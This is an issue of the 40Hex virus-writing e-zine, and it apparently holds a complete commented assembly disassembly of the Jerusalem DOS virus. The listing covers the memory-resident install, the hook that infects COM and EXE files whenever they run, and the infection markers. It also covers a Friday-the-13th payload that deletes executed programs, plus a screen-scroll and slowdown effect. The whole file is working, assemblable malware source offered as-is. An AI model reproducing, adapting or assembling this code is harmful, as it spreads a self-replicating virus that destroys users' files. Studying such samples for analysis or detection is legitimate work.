40Hex Number 13 Volume 4 Issue 1                                      File 008

                .model  tiny
                .code
                org     0
; Jerusalem (Standard)
; Disassembly by Dark Angel of Phalcon/Skism
viruslength     =       (endjerusalem - jerusalem)
jerusalem:
                jmp     enter_jerusalem
                db      'sU'
marker          db      'MsDos'
COMdest         dw      0, 0
activate_flag   db      0
zero            dw      0
filesize        dw      3
oldint8         dw      0, 0
oldint21        dw      0, 0
oldint24        dw      0, 0
int8counter     dw      0
tempheader      dw      0
EXEdest         dw      0,0
_initialSP      dw      0
_initialSS      dw      0
_headersize     dw      0
_filelengthlo   dw      0
_filelengthhi   dw      0
savePSP1        dw      0
respara         dw      80h

parmblock:
                dw      0 ; use current environment
                dw      80h
savePSP2        dw      0 ; pointer to command line
                dw      5Ch
savePSP3        dw      0 ; pointer to 1st FCB
                dw      6Ch
savePSP4        dw      0 ; pointer to 2nd FCB
saveSP          dw      0
saveSS          dw      0
initialCSIP     dw      0, 0

oldintFF        dw      0
                db      0
COM_EXE_flag    db      0
header          dw      0Eh dup (0)
readbuffer      db      5 dup (0)
filehandle      dw      0
fileattr        dw      0
filedate        dw      0
filetime        dw      0
pagesize        dw      200h
parasize        dw      10h                     ; paragraph->byte conversion
filelength      dw      0, 0
filenameptr     dw      0, 0
command_com     db      'COMMAND.COM'
alloc_flag      dw      0
                db      0, 0, 0, 0

enter_jerusalem:
                cld
                mov     ah,0E0h                 ; installation check
                int     21h
                cmp     ah,0E0h
                jae     not_resident
                cmp     ah,3
                jb      not_resident

                mov     ah,0DDh                 ; restore EXE file
                mov     di,100h
                mov     si,offset endjerusalem
                add     si,di
                mov     cx,cs:[di+filesize]
                int     21h
not_resident:
                mov     ax,cs
                add     ax,10h
                mov     ss,ax
                mov     sp,700h
                push    ax
                mov     ax,offset relocate_entry
                push    ax
                retf
relocate_entry:
                cld
                push    es
                mov     cs:savePSP1,es
                mov     cs:savePSP2,es
                mov     cs:savePSP3,es
                mov     cs:savePSP4,es
                mov     ax,es
                add     ax,10h
                add     cs:initialCSIP+2,ax
                add     cs:saveSS,ax
                mov     ah,0E0h                 ; installation check
                int     21h
                cmp     ah,0E0h
                jae     install_virus
                cmp     ah,3
                pop     es
                mov     ss,cs:saveSS
                mov     sp,cs:saveSP
                jmp     dword ptr cs:initialCSIP
install_virus:
                xor     ax,ax
                mov     es,ax
                mov     ax,es:0FFh*4
                mov     cs:oldintFF,ax
                mov     al,es:0FFh*4+2
                mov     byte ptr cs:oldintFF+2,al
                mov     word ptr es:0FFh*4,0A5F3h ; encode rep movsw
                mov     byte ptr es:0FFh*4+2,0CBh ; encode retf
                pop     ax
                add     ax,10h
                mov     es,ax
                push    cs
                pop     ds
                mov     cx,viruslength
                shr     cx,1
                xor     si,si
                mov     di,si
                push    es
                mov     ax,offset return_here
                push    ax
                db      0EAh                    ; jmp far ptr
                dw      03FCh, 0
return_here:
                mov     ax,cs
                mov     ss,ax
                mov     sp,700h
                xor     ax,ax
                mov     ds,ax
                mov     ax,cs:oldintFF
                mov     ds:0FFh*4,ax
                mov     al,byte ptr cs:oldintFF+2
                mov     ds:0FFh*4+2,al
                mov     bx,sp
                mov     cl,4
                shr     bx,cl
                add     bx,10h
                mov     cs:respara,bx           ; allocate enough memory
                mov     ah,4Ah                  ; for the virus
                mov     es,cs:savePSP1
                int     21h

                mov     ax,3521h                ; get int 21 vector
                int     21h
                mov     cs:oldint21,bx          ; save it
                mov     word ptr cs:oldint21+2,es

                push    cs                      ; set new int 21 handler
                pop     ds
                mov     dx,offset int21
                mov     ax,2521h
                int     21h

                mov     es,savePSP1             ; get PSP
                mov     es,es:2Ch               ; get environment segment
                xor     di,di
                mov     cx,7FFFh
                xor     al,al
scan_environment:
                repne   scasb
                cmp     es:[di],al
                loopnz  scan_environment

                mov     dx,di
                add     dx,3
                mov     ax,4B00h                ; execute original program
                push    es
                pop     ds
                push    cs
                pop     es
                mov     bx,offset parmblock
                push    ds
                push    es
                push    ax
                push    bx
                push    cx
                push    dx
                mov     ah,2Ah                  ; get date
                int     21h

                mov     cs:activate_flag,0      ; default to no activate
                cmp     cx,1987d                ; don't activate in 1987
                je      no_activate
                cmp     al,5                    ; friday?
                jne     set_int8
                cmp     dl,13d                  ; the thirteenth?
                jne     set_int8
                inc     cs:activate_flag        ; mark activate
                jmp     short no_activate
                db      90h
set_int8:                                       ; do annoying box effect
                mov     ax,3508h                ; get old int 8 handler
                int     21h
                mov     cs:oldint8,bx
                mov     word ptr cs:oldint8+2,es

                push    cs
                pop     ds
                mov     int8counter,60*30*18    ; wait 30 minutes
                mov     ax,2508h                ; set new int 8 handler
                mov     dx,offset int8
                int     21h
no_activate:
                pop     dx
                pop     cx
                pop     bx
                pop     ax
                pop     es
                pop     ds
                pushf
                call    dword ptr cs:oldint21   ; execute program
                push    ds
                pop     es
                mov     ah,49h                  ; release memory block
                int     21h

                mov     ah,4Dh                  ; get errorlevel to ax
                int     21h

                mov     ah,31h                  ; go TSR
                mov     dx,600h
                mov     cl,4
                shr     dx,cl
                add     dx,10h
                int     21h

int24:
                xor     al,al
                iret

int8:
                cmp     cs:int8counter,2
                jne     no_box
                push    ax
                push    bx
                push    cx
                push    dx
                push    bp
                mov     ax,602h                 ; scroll up 2 lines
                mov     bh,87h                  ; (5,5) - (10,10)
                mov     cx,505h
                mov     dx,1010h
                int     10h

                pop     bp
                pop     dx
                pop     cx
                pop     bx
                pop     ax
no_box:
                dec     cs:int8counter
                jnz     exitint8
                mov     cs:int8counter,1
                push    ax
                push    cx
                push    si
                mov     cx,4001h                ; delay loop
                rep     lodsb
                pop     si
                pop     cx
                pop     ax
exitint8:
                jmp     dword ptr cs:oldint8    ; call original handler

int21:
                pushf
                cmp     ah,0E0h                 ; installation check?
                jne     not_install
                mov     ax,300h                 ; return installation marker
                popf
                iret
not_install:
                cmp     ah,0DDh
                je      restore_COM
                cmp     ah,0DEh
                je      restore_EXE
                cmp     ax,4B00h                ; execute?
                jne     exitint21
                jmp     execute
exitint21:
                popf
                jmp     dword ptr cs:oldint21
restore_COM:
                pop     ax
                pop     ax
                mov     ax,100h
                mov     cs:COMdest,ax
                pop     ax                      ; get program CS
                mov     word ptr cs:COMdest+2,ax
                rep     movsb                   ; restore bytes
                popf
                mov     ax,cs:zero              ; clear AX
                jmp     dword ptr cs:COMdest    ; return to original COM file

restore_EXE:
                add     sp,6
                popf
                mov     ax,cs
                mov     ss,ax
                mov     sp,offset endjerusalem
                push    es
                push    es
                xor     di,di
                push    cs
                pop     es
                mov     cx,10h
                mov     si,bx
                mov     di,offset tempheader
                rep     movsb
                mov     ax,ds
                mov     es,ax
                mul     cs:parasize             ; convert to bytes
                add     ax,cs:_headersize
                adc     dx,0
                div     cs:parasize             ; convert to paragraphs
                mov     ds,ax
                mov     si,dx
                mov     di,dx
                mov     bp,es
                mov     bx,cs:_filelengthhi
                or      bx,bx
                jz      no_move_code
move_code:
                mov     cx,8000h
                rep     movsw
                add     ax,1000h
                add     bp,1000h
                mov     ds,ax
                mov     es,bp
                dec     bx
                jnz     move_code
no_move_code:
                mov     cx,cs:_filelengthlo
                rep     movsb
                pop     ax
                push    ax
                add     ax,10h
                add     cs:_initialSS,ax
                add     word ptr cs:EXEdest+2,ax
                mov     ax,cs:tempheader
                pop     ds
                pop     es
                mov     ss,cs:_initialSS
                mov     sp,cs:_initialSP
                jmp     dword ptr cs:EXEdest
delete_file:
                xor     cx,cx                   ; clear file attributes
                mov     ax,4301h
                int     21h

                mov     ah,41h                  ; delete file
                int     21h

                mov     ax,4B00h                ; execute it
                popf
                jmp     dword ptr cs:oldint21

execute:
                cmp     cs:activate_flag,1
                je      delete_file
                mov     cs:filehandle,0FFFFh
                mov     cs:alloc_flag,0
                mov     cs:filenameptr,dx
                mov     word ptr cs:filenameptr+2,ds
                push    ax
                push    bx
                push    cx
                push    dx
                push    si
                push    di
                push    ds
                push    es
                cld
                mov     di,dx
                xor     dl,dl
                cmp     byte ptr [di+1],':'     ; drive specified?
                jne     execute_nodrive
                mov     dl,[di]                 ; get drive
                and     dl,1Fh                  ; convert to number
execute_nodrive:
                mov     ah,36h                  ; get drive info`s
                int     21h
                cmp     ax,0FFFFh               ; drive exist?
                jne     check_drivespace
go_exit_execute:
                jmp     exit_execute
check_drivespace:
                mul     bx                      ; ax = clus/sec, bx=free clus
                mul     cx                      ; cx = bytes/sector
                or      dx,dx                   ; check if enough free space
                jnz     enough_space
                cmp     ax,viruslength
                jb      go_exit_execute
enough_space:
                mov     dx,cs:filenameptr
                push    ds
                pop     es
                xor     al,al
                mov     cx,41h
                repne   scasb
                mov     si,cs:filenameptr
uppercase_loop:
                mov     al,[si]
                or      al,al
                jz      uppercase_loop_done
                cmp     al,'a'
                jb      not_lower
                cmp     al,'z'
                ja      not_lower
                sub     byte ptr [si],' '       ; convert to uppercase
not_lower:
                inc     si
                jmp     short uppercase_loop
uppercase_loop_done:
                mov     cx,0Bh                  ; check if command.com
                sub     si,cx
                mov     di,offset command_com
                push    cs
                pop     es
                mov     cx,0Bh
                repe    cmpsb
                jnz     not_command_com
                jmp     exit_execute
not_command_com:
                mov     ax,4300h                ; get file attributes
                int     21h
                jc      error1
                mov     cs:fileattr,cx
error1:
                jc      error2
                xor     al,al
                mov     cs:COM_EXE_flag,al      ; ASSume COM file
                push    ds
                pop     es
                mov     di,dx
                mov     cx,41h
                repne   scasb
                cmp     byte ptr [di-2],'M'
                je      EXEidentified
                cmp     byte ptr [di-2],'m'
                je      EXEidentified
                inc     cs:COM_EXE_flag
EXEidentified:
                mov     ax,3D00h                ; open file r/o
                int     21h
error2:
                jc      error3
                mov     cs:filehandle,ax
                mov     bx,ax
                mov     ax,4202h                ; go to end of file - 5 bytes
                mov     cx,0FFFFh
                mov     dx,0FFFBh
                int     21h
                jc      error2

                add     ax,5                    ; get file size
                mov     cs:filesize,ax
                mov     cx,5                    ; read last 5 bytes
                mov     dx,offset readbuffer
                mov     ax,cs
                mov     ds,ax
                mov     es,ax
                mov     ah,3Fh
                int     21h

                mov     di,dx
                mov     si,offset marker
                repe    cmpsb
                jnz     not_infected
                mov     ah,3Eh                  ; close file
                int     21h

                jmp     exit_execute
not_infected:
                mov     ax,3524h                ; get old int 24 handler
                int     21h
                mov     oldint24,bx             ; and save it
                mov     word ptr oldint24+2,es

                mov     dx,offset int24         ; set ours as new one
                mov     ax,2524h
                int     21h

                lds     dx,dword ptr filenameptr; load file name
                xor     cx,cx                   ; clear file attributes
                mov     ax,4301h
                int     21h
error3:
                jc      error4
                mov     bx,cs:filehandle
                mov     ah,3Eh                  ; close file
                int     21h

                mov     cs:filehandle,0FFFFh
                mov     ax,3D02h                ; open file read/write
                int     21h
                jc      error4

                mov     cs:filehandle,ax        ; save handle
                mov     ax,cs
                mov     ds,ax
                mov     es,ax
                mov     bx,filehandle
                mov     ax,5700h                ; get file time/date
                int     21h
                mov     filedate,dx             ; save them
                mov     filetime,cx

                mov     ax,4200h                ; go to start of file
                xor     cx,cx
                mov     dx,cx
                int     21h
error4:
                jc      error5
                cmp     COM_EXE_flag,0
                je      infect_com
                jmp     short infect_exe
                db      90h
infect_com:
                mov     bx,1000h                ; allocate one segment
                mov     ah,48h
                int     21h
                jnc     allocation_fine

                mov     ah,3Eh                  ; close file
                mov     bx,filehandle
                int     21h

                jmp     exit_execute
allocation_fine:
                inc     alloc_flag
                mov     es,ax                   ; copy virus to new buffer
                xor     si,si
                mov     di,si
                mov     cx,viruslength
                rep     movsb
                mov     dx,di
                mov     cx,filesize
                mov     bx,filehandle
                push    es
                pop     ds
                mov     ah,3Fh                  ; read file to buffer
                int     21h
error5:
                jc      error6
                add     di,cx
                xor     cx,cx                   ; go to start of file
                mov     dx,cx
                mov     ax,4200h
                int     21h

                mov     si,offset marker        ; zopy marker to end of file
                mov     cx,5
                rep     movs byte ptr es:[di],cs:[si]
                mov     cx,di                   ; write virus + carrier
                xor     dx,dx
                mov     ah,40h
                int     21h
error6:
                jc      error7
                jmp     error12
infect_exe:
                mov     cx,1Ch                  ; read EXE header
                mov     dx,offset header
                mov     ah,3Fh
                int     21h
error7:
                jc      error8
                mov     word ptr ds:header+12h,1984h ; infection marker
                mov     ax,ds:header+0eh; initial SS
                mov     ds:saveSS,ax
                mov     ax,ds:header+10h        ; initial SP
                mov     ds:saveSP,ax
                mov     ax,ds:header+14h
                mov     ds:initialCSIP,ax
                mov     ax,ds:header+16h
                mov     ds:initialCSIP+2,ax
                mov     ax,ds:header+4          ; get file size
                cmp     word ptr ds:header+2,0  ; rounded?
                je      not_rounded
                dec     ax                      ; deround
not_rounded:
                mul     word ptr ds:pagesize
                add     ax,ds:header+2
                adc     dx,0                    ; get total file size
                add     ax,0Fh
                adc     dx,0
                and     ax,0FFF0h               ; round to nearest paragraph
                mov     ds:filelength,ax
                mov     ds:filelength+2,dx
                add     ax,viruslength          ; add virus length
                adc     dx,0
error8:
                jc      error9
                div     word ptr ds:pagesize    ; convert to page size
                or      dx,dx                   ; need to round
                jz      dont_round
                inc     ax
dont_round:
                mov     ds:header+4,ax          ; put new values in header
                mov     ds:header+2,dx
                mov     ax,ds:filelength        ; convert filesize
                mov     dx,ds:filelength+2
                div     word ptr ds:parasize    ; to paragraphs
                sub     ax,ds:header+8          ; subtract header size
                mov     ds:header+16h,ax        ; insert as initial CS
                mov     word ptr ds:header+14h,offset relocate_entry
                mov     ds:header+0eh,ax        ; insert new stack segment
                mov     word ptr ds:header+10h,offset endjerusalem; & pointer

                xor     cx,cx                   ; rewind to start of file
                mov     dx,cx
                mov     ax,4200h
                int     21h
error9:
                jc      error10
                mov     cx,1Ch                  ; write new header to file
                mov     dx,offset header
                mov     ah,40h
                int     21h
error10:
                jc      error11
                cmp     ax,cx
                jne     error12

                mov     dx,ds:filelength        ; go to end of file
                mov     cx,ds:filelength+2
                mov     ax,4200h
                int     21h
error11:
                jc      error12
                xor     dx,dx                   ; concatenate virus
                mov     cx,viruslength
                mov     ah,40h
                int     21h
error12:
                cmp     cs:alloc_flag,0         ; did we allocate memory?
                je      no_free                 ; no, don't free
                mov     ah,49h                  ; release memory
                int     21h
no_free:
                cmp     cs:filehandle,0FFFFh    ; clear variables
                je      exit_execute
                mov     bx,cs:filehandle        ; restore file date/time
                mov     dx,cs:filedate
                mov     cx,cs:filetime
                mov     ax,5701h
                int     21h

                mov     ah,3Eh                  ; close file
                int     21h

                lds     dx,dword ptr cs:filenameptr
                mov     cx,cs:fileattr
                mov     ax,4301h                ; restore attributes
                int     21h

                lds     dx,dword ptr cs:oldint24; restore int 24 handler
                mov     ax,2524h
                int     21h
exit_execute:
                pop     es
                pop     ds
                pop     di
                pop     si
                pop     dx
                pop     cx
                pop     bx
                pop     ax
                popf
                jmp     dword ptr cs:oldint21
; slack space for stack here
                org     710h
endjerusalem:
                nop
                int     20h
                db      'MsDos'

                end     jerusalem

